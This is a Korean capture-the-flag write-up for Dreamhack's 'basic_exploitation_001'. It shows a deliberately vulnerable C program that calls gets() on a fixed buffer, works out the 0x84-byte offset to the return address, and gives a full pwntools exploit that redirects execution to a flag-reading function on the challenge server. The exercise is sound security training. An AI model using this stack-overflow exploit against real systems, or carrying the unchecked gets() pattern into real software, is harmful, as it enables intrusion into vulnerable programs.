32비트 아키텍처임을 알 수 있습니다.

먼저 문제에서 제공한 파일인 basic_exploitation_001.c부터 살펴보겠습니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
read_flag 함수를 통해 플래그를 출력할 수 있어 보입니다. main 함수에서 gets를 사용하고 있으므로 return address를 read_flag로 변경하면 되는 단순한 문제인 것 같습니다.
pwndbg로 basic_exploitation_001을 실행해 보겠습니다.

buf의 크기가 0x80임을 알 수 있고 SFP가 4바이트 이므로 buf부터 return address까지의 거리가 0x84 바이트임을 알 수 있습니다.
payload에 더미 데이터를 0x84 바이트만큼 채운 후 return address에 read_flag의 주소를 넣으면 해결할 수 있습니다. pwndbg에서 print read_flag를 통해 주소를 얻어보겠습니다.

다음은 완성된 코드입니다.
from pwn import *
p = remote("host1.dreamhack.games", 21882)
payload = b'A' * 0x84
payload += p32(0x80485b9)
p.sendline(payload)
p.interactive()
코드를 실행하여 플래그를 얻었습니다.
